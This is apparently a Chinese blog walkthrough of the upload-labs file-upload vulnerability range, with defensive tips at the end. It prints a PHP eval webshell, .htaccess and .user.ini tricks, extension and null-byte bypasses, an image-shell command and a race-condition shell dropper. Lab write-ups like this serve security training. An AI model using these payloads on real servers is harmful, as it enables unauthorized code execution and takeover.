upload-labs训练平台

GitHub:GitHub - Tj1ngwe1/upload-labs: 一个帮你总结所有类型的上传漏洞的靶场

把下好的文件夹之间拖入到小皮的WWW目录下就可以之间访问网址使用了

目录

Pass-01(前端JS的绕过)

(1)抓包绕过

(2)在前端绕过

Pass-02(content-type绕过)

Pass-03(特殊后缀绕过php3、php5)

Pass-04(.htaccess文件绕过)

什么是.htaccess文件

Pass-05(.user.ini绕过)

大小写绕过

空格绕过

Pass-06(大小写绕过)

Pass-07(空格绕过)

Pass-08(后缀加点绕过)

Pass-09($DATA绕过)

Pass-10(点空格点绕过)

Pass-11(双写绕过)

Pass-12(%00绕过)

Pass-13(0x00截断)

Pass-14(字节表示绕过)

补充文件字节标识

Pass-15(图片马绕过)

Pass-16(同15关)

Pass-17(二次渲染)

Pass-18(条件竞争绕过)

总结


Pass-01(前端JS的绕过)

(1)抓包绕过

我们上传一个一句话木马,格式改为JPG

<?php
@eval($_POST['a']);
?>

我们进行抓包

我们在进行修改我们上传的文件jpg改为php,因为这个数据包已经经过了前端的一个验证,在修改就没有问题了

新标签页打开图像

代表我们的后门上传成功,我们打开一个后门连接工具,我使用的是蚁剑进行连接

添加之后我们点击就可以看到服务器的盘目录等进行一系列操作

(2)在前端绕过

查看源码

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>
  1. function checkFile() { ... }:这是一个名为checkFile的JavaScript函数,它用于检查用户选择的文件是否符合要求。
  2. var file = document.getElementsByName('upload_file')[0].value;:这一行代码通过 document.getElementsByName 方法获取页面上名称为 upload_file 的元素的值,通常是一个文件路径。注意,获取到的是文件的路径而不是文件对象本身。
  3. if (file == null || file == "") { ... }:这个条件判断语句检查用户是否选择了文件。如果用户未选择文件,将会弹出一个警告框提示用户选择文件,并且函数返回 false
  4. var allow_ext = ".jpg|.png|.gif";:这一行定义了允许上传的文件类型,以竖线 | 分隔。当前允许上传的文件类型是 JPG、PNG 和 GIF 格式的文件。
  5. var ext_name = file.substring(file.lastIndexOf("."));:这一行提取了用户选择文件的扩展名。它搜索文件路径中最后一个点号 . 的位置,并获取该点号之后的字符串作为文件的扩展名。
  6. if (allow_ext.indexOf(ext_name) == -1) { ... }:这个条件判断语句检查用户选择的文件扩展名是否在允许的范围内。如果用户选择的文件类型不在允许的类型列表中,将会弹出一个警告框,告知用户当前文件类型不允许上传,并显示允许上传的文件类型,然后函数返回 false
  7. 最后,如果用户选择的文件通过了上述所有检查,函数将返回 true,表示文件符合要求可以上传。

我们之间禁用JavaScript,将文件改回php再次上传试试。

可以之间上传

Pass-02(content-type绕过)

上传一个和第一关一样的一句话木马抓包尝试,发现可以抓到包,说明验证是在后端,第一关在前端。

我们正常上传一个JPG文件发现可以上传

抓包发现删掉这个属性,就无法上传成功

说明后端是通过这个content-type属性来判断文件类型的,我们就可以修改这个属性来绕过

抓包看看php属性,改成图片的属性  image/jpeg

看到成功了

Pass-03(特殊后缀绕过php3、php5)

我们可以上传例如php3, phtml后缀的文件绕过

Pass-04(.htaccess文件绕过)

查看源码,发现ban掉了这么多,但是有一个文件没有ban掉就是.htaccess文件

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

什么是.htaccess文件

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

那我们就直接上传一个这样的文件上去内容为

AddType application/x-httpd-php .jpg .txt

就是当服务器收到请求时,如果请求的文件扩展名是 .jpg 或者 .txt,它将以 PHP 的方式来解释执行这些文件

完成

Pass-05(.user.ini绕过)

查看源码,发现.htaccess也被ban了

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

这里我们使用.user.ini它其实和.htaccess差不多

写一个.user.ini的文件内容为

auto_prepend_file=111.jpg

在这个指令中,文件名是 111.jpg,这个文件将会在每个 PHP 脚本执行之前自动包含其内容。

先上传.user.ini文件在上传一句话木马,就可以绕过

大小写绕过

本关也可以通过改变大小写进行绕过改为.Php

空格绕过

过抓包在.php文件后面增加一个空格来进行上传绕过

Pass-06(大小写绕过)

查看源码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

抓包修改直接上传.PHp进行绕过

Pass-07(空格绕过)

查看源码对比上一关减少了一个空格

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

抓包修改111.php(此处空格)

Pass-08(后缀加点绕过)

查看源码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

抓包修改web.php.

Pass-09($DATA绕过)

补充:额外数据流

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows·NT·文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"::$DATA"来访问。←
例如,"1.txt"是一个文件,而"1.txt::$DATA"是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据、备份信息、标签等;

我们正常添加::data在windows中是不合法的,所以我们抓包上传的时候添加,windows认为不合法的文件后缀就会自动删掉,文件又变成了原来的文件,进行绕过

打开只需要把后面的::$data删掉就可以用蚁剑进行连接了

Pass-10(点空格点绕过)

抓包文件后缀写入. .进行绕过

Pass-11(双写绕过)

查看源码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

Pass-12(%00绕过)

查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

上传一个.jpg文件抓包进行修改绕过/index.php?save_path=../upload/1.php%00 HTTP/1.1

失败了,我们使用的环境是5.3.29,超过了漏洞触发最低版本5.2,故无法实现复现。

Pass-13(0x00截断)

查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

抓包添加1.php(空格)然后在hex将20修改为00放行

Pass-14(字节表示绕过)

补充文件字节标识

JPEG/JFIF(常见的照片格式):头两个字节为·0xFF·0xD8。

PNG(无损压缩格式):头两个字节为·0x89·0x50。

GIF(支持动画的图像格式):头两个字节为·0x47·0x49。

BMP(Windows 位图格式):头两个字节为0x42·0x4D。
TIFF(标签图像文件格式):头两个字节可以是不同的数值。

查看源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

打开一句话木马将前两位修改为89 50标识位

直接上传

Pass-15(图片马绕过)

查看源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

生成图片马

copy shell.png/b + 1.php ytdd.png

成功

进行解析

Pass-16(同15关)

Pass-17(二次渲染)

源码

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

比较原本的文件和经过php渲染过后的文件针对未修改的文件部分写入木马来进行绕过直接cv过去

上传一个文件,然后在服务器端把这个经过php渲染过后的文件拿下来对比,未经过渲染的部分我们植入一句话木马进行绕过

在上传经过渲染过后的文件上传,用蚁剑连接

Pass-18(条件竞争绕过)

源码分析

if(isset($_POST['submit'])){
    //定义白名单
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    //截取文件后缀
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    //先将文件移动到上传路径
    if(move_uploaded_file($temp_file, $upload_file)){
        //判断是否在白名单内部 如果是则重命名放置到文件夹内部
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            //判断非法文件直接进行删除
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

 if(move_uploaded_file($temp_file, $upload_file)){

文件移动函数:临时文件到服务器

上传文件,绕过防护之后,小马又会被立马删除。但是由于条件竞争,我们可以利用脚本不断访问生成小马的 php,文件,这样就形成了脚本和 web 删除程序之间的竞争,一定的测试量后,可以竞争到资源,成功生成小马 php 文件执行 shell。

生成小马语句

<?php fputs(fopen('shell.php','w’),'<?php @eval($ POST["a"])?>');?>

上传这个小马,抓包

发送到攻击模块,清除占位符

在传递一个参数

攻击

开始

抓一个2.php的包

放到攻击模块,开始攻击

等一段时间。。。。

测试已经成了。

总结

防范文件上传漏洞的方法:

  • 对上传文件进行严格的类型验证和内容验证。
  • 设置适当的文件大小限制。
  • 避免将上传的文件存储在可公开访问的目录中。
  • 为上传文件生成唯一的文件名,避免文件覆盖漏洞。
  • 将上传的文件存储在非Web可访问的目录中,以防止目录遍历攻击。
  • 在上传后,适当地处理文件,如修改权限、检查文件类型等。
  • 定期对Web应用程序进行安全审计和漏洞扫描也是发现和修复文件上传漏洞的有效方法

文件上传漏洞思路:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/515332.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

kettle快速入门教程

探索数据的深邃奥秘&#xff0c;引领你踏入数据处理的殿堂&#xff01;Kettle&#xff08;Pentaho Data Integration&#xff09;的神奇魔力&#xff0c;将为你解锁数据世界的无限可能。本人基于公司业务实战整理的50篇精华Kettle系列文章&#xff0c;是你的密钥&#xff0c;让…

【大模型应用篇2】提示词实践-短剧文案

在上节课《【大模型应用篇1】学会对模型念咒语》带大家一起学习了提示词工程&#xff0c;我相信大部分朋友学完之后&#xff0c;还是有懵懂的&#xff0c;这节课带大家实操一下提示词的应用场景&#xff0c;现在短剧的创作很火&#xff0c;好看的短剧内容一定不会差&#xff0c…

java自动化测试-03-05java基础之字符串

1、字符串的定义 String是变量类型&#xff0c;表示字符串类型 name是给这个变量起的名字&#xff0c;这个是可以随意取的&#xff0c;只要不是java的关键字就可以了 表示赋值&#xff0c;右边的的内容表示 变量值&#xff0c;对字符串变量进行 赋值&#xff0c;需要用双引号…

idea建多级目录出现问题,报错找不到xml文件,如何解决?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

芯片工程系列(6)Chiplet封装

0 英语缩写 chiplet是一个合成词&#xff0c;由chip和let两个单词组合而成。它的意思是“小芯片”&#xff0c;通常指的是一种集成电路中的小型芯片系统级封装&#xff08;System in a Package&#xff0c;SiP&#xff09;系统级芯片&#xff08;System on a Chip&#xff0c;…

【并发编程】CountDownLatch

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;并发编程 ⛺️稳中求进&#xff0c;晒太阳 CountDownLatch 概念 CountDownLatch可以使一个获多个线程等待其他线程各自执行完毕后再执行。 CountDownLatch 定义了一个计数器&#xff0c;…

4.7 数组的读取和写入,type指令和一些杂项

4.7 数组的读取和写入&#xff0c;type指令和一些杂项 可以通过word ptr将db转为dw&#xff0c;然后按照dw的方式去存储数据 1. 段名也可以把其地址赋给变量 assume cs:codesg,ds:data,ss:stack data segmentdb 12,34dw 12,34db hello world data ends stack segmentdb 10 dup…

YOLOv5改进 | 低照度检测 | 2024最新改进CPA-Enhancer链式思考网络(适用低照度、图像去雾、雨天、雪天)

一、本文介绍 本文给大家带来的2024.3月份最新改进机制,由CPA-Enhancer: Chain-of-Thought Prompted Adaptive Enhancer for Object Detection under Unknown Degradations论文提出的CPA-Enhancer链式思考网络,CPA-Enhancer通过引入链式思考提示机制,实现了对未知退化条件下…

Shell GPT:直接安装使用的chatgpt应用软件

ShellGPT是一款基于预训练生成式Transformer模型&#xff08;如GPT系列&#xff09;构建的智能Shell工具。它将先进的自然语言处理能力集成到Shell环境中&#xff0c;使用户能够使用接近日常对话的语言来操作和控制操作系统。 官网&#xff1a;GitHub - akl7777777/ShellGPT: *…

OpenCV4.9开发之Window开发环境搭建

1.打开OpenCV所在github地址 2.点击opencv仓库,进入仓库详情,点击右下方的OpenCV 4.9.0进入下载页面 3.点击opencv-4.9.0-windows.exe下载 开始下载中... 下载完成 下载完成后,双击运行解压,默认解压路径,修改为c:/

企业家升维认知:引领企业持续发展的关键

一、引言 在快速变化的时代背景下&#xff0c;企业家面临着前所未有的挑战与机遇。新东方教育科技集团董事长俞敏洪曾深刻指出&#xff1a;“企业家本身要不断升维自己的认知&#xff0c;才能带领企业持续发展。”这句话不仅揭示了企业家认知升维的重要性&#xff0c;也为我们…

JRT简化开发环境

JRT是完全前后端分离的项目&#xff0c;实际工程是逻辑上完全前后端分离&#xff0c;代码层级和工程是不离的。这样就可以做到一键启动&#xff0c;同时又有分离的好处。开始页面后缀都沿用aspx&#xff0c;最开始考虑过修改后缀为html&#xff0c;当时觉得搞aspx也不错&#x…

Qt 的发展历史、现状与启示

Qt 最早在1991年由挪威的两位程序员 Eirik Chambe-Eng 和 Haavard Nord 开发&#xff0c;他们在1994年创立 Trolltech 公司&#xff08;奇趣科技&#xff09;正式经营软件业务。Qt 的第一个公众预览版于1995年面世&#xff0c;之后在2008年被诺基亚收购&#xff1b;2011年到201…

【Oracle篇】expdp/impdp高效完成全部生产用户的全库迁移(第四篇,总共四篇)

☘️博主介绍☘️&#xff1a; ✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ ✌✌️擅长Oracle、MySQL、SQLserver、Linux&#xff0c;也在扩展大数据方向的知识面✌✌️ ❣️❣️❣️大佬们都喜欢静静的看文章&#xff0c;并且也会默默的点赞收藏加关注❣️❣️…

SEO必备,网站词库拓展建设

我以前做网站是没有词库这个概念的&#xff0c;今天恰巧和站长交流的时候提到了词库的建设&#xff0c;大致问题就是如何增加词库。其实我也不是特别明白&#xff0c;只是听说使用长尾关键词挖掘然后拓展&#xff0c;至于怎么用&#xff0c;也没有聊到。 所以我的求知欲让我去…

Spring Boot:Web开发之视图模板技术的整合

Spring Boot 前言Spring Boot 整合 JSPSpring Boot 整合 FreeMarkerSpring Boot 整合 ThymeleafThymeleaf 常用语法 前言 在 Web 开发中&#xff0c;视图模板技术&#xff08;如 JSP 、FreeMarker 、Thymeleaf 等&#xff09;用于呈现动态内容到用户界面的工具。这些技术允许开…

CSS设置网页背景

目录 概述&#xff1a; 1.background-color: 2.background-image&#xff1a; 3.background-repeat&#xff1a; 4.background-position&#xff1a; 5.background-attachment&#xff1a; 6.background-size&#xff1a; 7.background-origin&#xff1a; 8.background-…

SAP_MM模块-无价值物料管理实现思路

无价值物料管理实现思路 业务背景一&#xff1a; 对于工具类的物料&#xff0c;本来想通过无物料号&#xff0c;收货时直接消耗在成本中心的方式来处理&#xff0c;这样&#xff0c;工程部和采购部都比较方便。 但财务部提出这部分工具物料还需要进行库存管理&#xff0c;但…

【Python异常处理】

在Python无法正常处理程序时就会发生异常&#xff0c;此时我们需要捕捉并处理它&#xff0c;否则程序就会终止执行。 例如&#xff1a; x 1 / 0 print(x)运行结果&#xff1a; ZeroDivisionError: division by zero #此时程序终止执行Python提供了三个非常重要的功能来处理…

ubuntu20.04下搜狗输入法的安装

1、安装 fcitx 输入法的框架 sudo apt install fcitx-bin sudo apt-get install fcitx-table 2、Ubuntu下的默认浏览器火狐搜索 搜狗输入法 搜狗输入法linux-首页 &#xff08;下载x86_64) 3、安装依赖 sudo apt install libqt5qml5 libqt5quick5 libqt5quickwidgets5 qml-modu…